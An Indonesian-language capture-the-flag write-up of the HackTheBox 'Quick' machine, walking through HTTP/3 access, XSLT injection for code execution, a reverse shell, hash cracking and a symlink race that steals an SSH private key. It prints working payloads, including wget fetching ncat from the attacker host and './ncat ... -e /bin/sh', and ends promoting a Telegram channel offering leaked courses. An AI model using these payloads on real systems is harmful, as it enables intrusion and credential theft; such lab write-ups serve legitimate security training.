
Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .
Pada artikel ini, kita berurusan dengan koneksi QUIC HTTP / 3, mendapatkan RCE berkat injeksi XSLT dan menggunakan teknik Kondisi Balap untuk mendapatkan kunci pribadi pengguna.
Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.
Informasi organisasi
Pengintai
Mesin ini memiliki alamat IP 10.10.10.186, yang saya tambahkan ke / etc / hosts.
10.10.10.186 quick.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500
Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.
nmap -A quick.htb -p9001,22
Jadi kami memiliki dua layanan - SSH dan server web Apache. Mari kita lihat apa yang ditawarkan web.
Ada tautan ke portal yang menjalankan HTTPS, tetapi porta ditutup. Tambahkan DNS ini ke / etc / hosts.
10.10.10.186 portal.quick.htb
Tapi port 443 ditutup! Kami juga menemukan daftar yang menarik di situs.
Mari pindai direktori dengan gobuster. Dalam parameter, kami menentukan jumlah aliran 128 (-t), URL (-u), kamus (-w), ekstensi yang kami minati (-x) dan kode respons server yang kami butuhkan (-s).
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
Dan kami menemukan halaman yang menarik, tetapi semuanya membutuhkan otorisasi. Setelah sedikit berputar-putar di situs ini, sebuah pertanyaan muncul. Mengapa saya memerlukan tautan ke portal jika port server yang sesuai ditutup. Kemudian kami akan memindai port ini lebih teliti lagi.
nmap -p443 -A quick.htb
sudo nmap -p443 -A -sU quick.htb
Dan port ini terbuka untuk UDP!
Titik masuk
Googling, kami menemukan artikel yang menjelaskan tentang teknologi QUIC (mirip dengan nama mobil).
Selanjutnya, membaca tentang protokol ini, kita mempelajari bahwa kemampuan untuk bekerja dengan protokol ini telah ditambahkan ke Chrome.
Tetapi Anda tidak dapat terhubung menggunakan metode yang ditentukan. Kemudian ingat bahwa koneksi difilter dan buka artikel ini .
Mari instal seperti yang dijelaskan di artikel:
sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples
Semuanya telah berhasil dirangkai, sekarang mari jalankan permintaan ke situs kami dan dapatkan jawaban!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/
Untuk kenyamanan, Anda dapat menyimpan output ke file HTML dan membuka dokumen di browser, tetapi saya sudah terbiasa. Kami melihat link ke halaman dengan dokumen, jadi mari kita lihat.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs
Dan kami melihat dua dokumen. Unduh mereka.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
Dan di Connectivity.pdf dikatakan dengan kata sandi apa kita bisa masuk, hanya kita perlu menggunakan semacam email sebagai nama pengguna.
Mari kumpulkan informasi ... Daftar klien telah disajikan, tetapi kita juga dapat menemukan karyawan.
Mari buat daftar email. Jadi Tim merujuk ke QConsulting dari Inggris, maka kemungkinan besar emailnya adalah tim@qconsulting.co.uk. Mari buat satu untuk semua nama. Dan setelah mencoba masuk di bawahnya, kami berhasil masuk sebagai elisa@wink.co.uk.
PENGGUNA
Setelah melihat-lihat sedikit, saya perhatikan bahwa plugin wappalyzer tidak berfungsi. Mari kita lihat teknologi yang digunakan dengan whatweb.
whatweb http://quick.htb:9001/home.php
Dan kami melihat judul X-Powered-By: Esigate . Mari kita cari eksploitasi.
Jadi injeksi XSLT bisa dihasilkan dengan RCE. Kami belajar dari gobuster bahwa ada juga halaman search.php dan ticket.php. Jika Anda beralih ke pencarian. Kemudian kita akan diberitahu bahwa tidak ada string pencarian.
Lalu mari kita lewati pencarian parameter.
Dan saat Anda menelusuri "2", ada hasilnya.
Tapi di halaman ticket.php, Anda bisa membuat tiket.
Dan kami mendapatkan catatan terkait yang dapat ditemukan. Eksploitasi kerentanan diilustrasikan dengan baik di sini . Menurut artikel tersebut, untuk mendapatkan RCE, Anda perlu mengirim tautan ke file XSL, yang akan memiliki konten berikut:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
Dimana CDATA [] akan berisi perintah yang sedang dijalankan. Kami harus mengirimkan menyertakan file-file ini sebagai pesan.
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
Kemudian mulai pendengar di komputer lokal.
nc -lvp 4321
Dan sekarang kami akan membuat tiket dan merujuknya. Karena karakter ">" dan "<" akan di-escape, kita akan membuat tiga query. Kami akan mengunduh ncat, memberinya izin eksekusi dan menghubungkan kembali. Berikut adalah nilai CDATA [] untuk tiga file:
1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
Dan kami akan menjalankan 6 permintaan (yang pertama adalah isi pesan, yang kedua adalah permintaan tiket).
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>
Dan kami melihat hubungannya.
PENGGUNA 2
Demi kenyamanan, mari buat dan rekam kunci SSH.
Sekarang Anda dapat terhubung menggunakan kunci pribadi Anda. Mari kita ingat file db.php yang ditemukan di situs, yang harus berisi kredensial untuk terhubung ke database. Mari kita lihat.
Mari terhubung dengan kredensial yang diterima.
mysql -h localhost -u db_adm -p
Mari kita lihat database yang tersedia.
Mari pilih database cepat.
Mari kita lihat tabel di database ini.
Akhirnya, kami mendapatkan data dari tabel pengguna.
Kami mendapatkan hash, tetapi tidak berhasil untuk memilah-milah md5. Mari kita lihat kode di mana hash dibandingkan.
Jadi kata sandi masuk ke fungsi crypt terlebih dahulu. Mari tulis kode kita sendiri yang akan mengulang kata sandi.
<?php
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist)) {
$str = fgets($wordlist);
$str = trim($str);
echo "Find password: " . $str ." \r";
$tmp_hash = md5(crypt($str,'fa'));
if($hash == $tmp_hash){
echo "Password Found: ". $str."\n";
fclose($wordlist);
exit(0);
}
}
fclose($wordlist);
?>
Dan kami mendapatkan kata sandinya. Anda tidak dapat mengubah kata sandi secara lokal, dan itu juga tidak berfungsi untuk SSH, jadi mari kita periksa kode sumber lainnya. Seperti yang Anda lihat dari add_printer.php, beberapa parameter diterima, termasuk alamat IP dan port. Selanjutnya, koneksi dibuat untuk menguji koneksi.
File job.php jauh lebih menarik.
Tetapi tidak mungkin untuk masuk ke server, karena tidak tersedia. Mari kita lihat pengaturan server web. Jadi, file dibuat, dan kemudian ditransfer ke host dan port yang ditentukan saat membuat printer. Namun berkat penundaan sleep (0.5) dan fakta bahwa hak akses dari file yang dibuat adalah 777, kami dapat mengubahnya sebelum mengirimkannya, sementara kami memiliki semua hak untuk direktori ini.
Dengan demikian, Anda dapat menulis skrip yang akan menghubungkan file ini dengan kunci pribadi pengguna!
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm -rf $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done
Mari kita lihat pengaturan server web.
Jadi, situs ini berjalan atas nama srvadm dan hanya dapat diakses melalui localhost. Mari teruskan port dan tambahkan entri yang sesuai ke / etc / hosts.
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb
Sekarang mari kita pergi ke situsnya.
Dan mari kita lanjutkan dengan menambahkan printer.
Setelah pencetak ditambahkan, Anda perlu mengaktifkannya.
Sekarang mari kita jalankan skrip kita dan pilih print.
Dan kita akan melihat koneksi ke pendengar dan kunci SSH pengguna.
AKAR
Dan di direktori home kami menemukan direktori .cache.
Dan kami menemukan file konfigurasi untuk printer.
Dan di konfigurasi kami menemukan string koneksi ke printer:
https://username:password@ip/printer
Dari mana kami mendapatkan kata sandi yang dapat kami gunakan untuk terhubung melalui SSH.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas, di mana akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.